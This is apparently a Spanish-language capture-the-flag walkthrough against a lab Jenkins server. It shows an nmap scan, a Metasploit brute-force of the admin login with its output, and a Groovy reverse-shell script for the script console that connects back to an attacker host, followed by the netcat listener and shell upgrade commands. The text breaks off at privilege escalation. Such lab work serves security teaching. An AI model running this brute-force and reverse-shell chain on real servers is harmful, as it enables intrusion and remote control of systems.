Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-21 09:41 EST
Nmap scan report for 172.17.0.2
Host is up (0.000057s latency).
PORT STATE SERVICE VERSION
8080/tcp open http Jetty 10.0.20
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(10.0.20)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.70 seconds
Si entramos en la pagina web por el puerto 8080 veremos un Jenkins, vamos a probar las credenciales por defecto pero no tendremos suerte, por lo que vamos a realizar fuerza bruta contra el login con metasploit de la siguiente forma:
jenkins_login Exploit
msfconsole -q
Ahora accederemos al modulo de la siguiente forma:
use scanner/http/jenkins_login
Ahora tendremos que configurarlo:
set RHOSTS <IP>
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
exploit
Info:
[!] No active DB -- Credential data will not be saved!
[-] 172.17.0.2:8080 - LOGIN FAILED: admin:123456 (Incorrect)
[-] 172.17.0.2:8080 - LOGIN FAILED: admin:12345 (Incorrect)
[-] 172.17.0.2:8080 - LOGIN FAILED: admin:123456789 (Incorrect)
[-] 172.17.0.2:8080 - LOGIN FAILED: admin:password (Incorrect)
[-] 172.17.0.2:8080 - LOGIN FAILED: admin:iloveyou (Incorrect)
[-] 172.17.0.2:8080 - LOGIN FAILED: admin:princess (Incorrect)
[-] 172.17.0.2:8080 - LOGIN FAILED: admin:1234567 (Incorrect)
[+] 172.17.0.2:8080 - Login Successful: admin:rockyou
^C[*] Caught interrupt from the console...
[*] Auxiliary module execution completed
Veremos que hemos encontrado las credenciales, por lo que nos loguearemos con dichas credenciales.
Escalate user jenkins
User: admin
Pass: rockyou
Dentro del jenkins nos iremos a la pestaña de Manage Jenkins y veremos abajo del todo este apartado:
Entraremos dentro de el y veremos como un recuadro donde meter un script para ejecutar:
String host="<IP>";
int port=<PORT>;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Pero antes de ejecutar nos pondremos a la escucha:
nc -lvnp <PORT>
Y ahora si lo ejecutaremos, por lo que pulsaremos a run y si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.60.128] from (UNKNOWN) [172.17.0.2] 49766
whoami
jenkins
Veremos que somos el usuario jenkins por lo que tendremos que sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate Privileges
Si listamos los permisos SUID que tenemos, veremos lo siguiente:
